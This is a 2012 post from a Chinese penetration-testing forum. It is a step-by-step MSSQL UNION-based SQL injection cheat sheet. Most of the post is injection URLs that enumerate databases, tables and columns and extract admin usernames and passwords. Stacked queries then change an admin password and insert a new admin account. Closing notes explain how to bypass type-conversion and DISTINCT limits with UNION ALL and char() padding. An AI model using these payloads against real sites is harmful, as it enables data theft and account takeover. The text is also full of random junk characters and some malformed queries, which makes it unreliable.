中国网络渗透测试联盟

标题: MSSQL用union查询爆数据 [打印本页]

作者: admin    时间: 2012-9-15 14:26
标题: MSSQL用union查询爆数据
爆库:( K# k, Y: i1 U: S
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
! f8 p, R4 b6 @7 ^5 I4 FSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.7 ~) ?, [& d2 P' i6 _
爆下一个库:
! o- y5 @5 e. u% }7 qhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
, f: Q+ A1 w6 G  O
: a! q0 q3 A- c" [3 C  i2 f爆表:
2 |1 ]2 }# F7 d' R2 i: xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
- {2 z. q/ B! T
7 w9 j. O4 s& n8 LSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.7 b( V7 R; d  q, k1 x
: U( G0 z, w' ^# S9 L* ~$ D
爆下一个表
+ y: z; \( ~; h" jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
; g6 X% D- N9 d/ m8 v8 g6 i* v; |% ]: G* ~6 u
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
, \% }! F" G5 P9 U$ ?8 Y6 O. m
& B" a) ]/ ]2 \6 x8 T. E
! i* C- r' o& a3 m& D  h* ]! y: _) ^1 d  g% y# p% ?
爆字段:
( R# g* g* k* ^0 dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--1 F$ K3 K$ P+ E( @& _4 V; C2 m8 R0 M
, N' l5 w8 p  |' Q1 ]8 b
爆下一个字段* |& |- j$ a" }- o
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--2 y9 m$ k) w  \' V& F, Y8 [" B$ W

& e5 `- s$ s! y8 @7 h) Phttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--, j" x3 c& B9 B

" ~+ O6 [, C, R
5 X' x) K5 r0 h5 f爆字段里的内容
0 T' [3 |: _& I7 q5 vhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--3 S+ }/ W7 m% X- S/ x) w% i# ]

* A+ Y3 X2 T6 e0 G0 R7 ghttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--4 s! O7 }6 H  o& f
' Y% y* m3 }# g0 f; i
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
& T) `1 q5 S% I7 ?
" t# B1 c1 i% W) S7 Thttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
% N4 y+ z2 y0 z. T
5 g: ]: p, O. o: p更新字段里的内容* U1 o  v2 z8 f0 p7 s
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--* o6 f1 p" G( u

: A$ H' I, ]6 Y+ \http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
( c- Z- m; P0 y/ f: ^6 H! L7 i$ H: _% J
6 @/ w. i7 C% q
% j: ]( G# @% g9 s2 }( x( e
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。. Z5 j2 p2 T* Y1 H, k5 E5 J6 D
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。1 l- `) x( Y3 E: |+ \
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。$ P. N5 O3 V2 p
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
! l& O; z; f- X! m8 i# X
0 C2 y3 U$ c$ c# g1 l  E, Y* g突了了大部份限制的语句$ r$ N7 j2 v& L& `! k! X' i% O
and 1=2 union all select char(49),char(50),null,null;--
+ x' ^9 G, F5 G8 r( n" X8 Q* i) X; E, }6 \& t7 t, q- S/ s
/ p/ M4 U$ Y1 D7 u8 R. w) |, G+ U
null也可以正常执行,不过没有回显,不好判断回显的列数。( W. t* S; Q6 c* ^( V' A
一般union遇到问题都是有text或者ntext字段,image的很少遇到5 k/ A; \& E( V. Z

; W" k# ?, Z6 [可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
1 ]1 M$ W5 _& r, ~9 T6 m: B
. a! L2 @8 R4 ?! u( q& w- H' m" {9 w% ^1 Q) Q





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2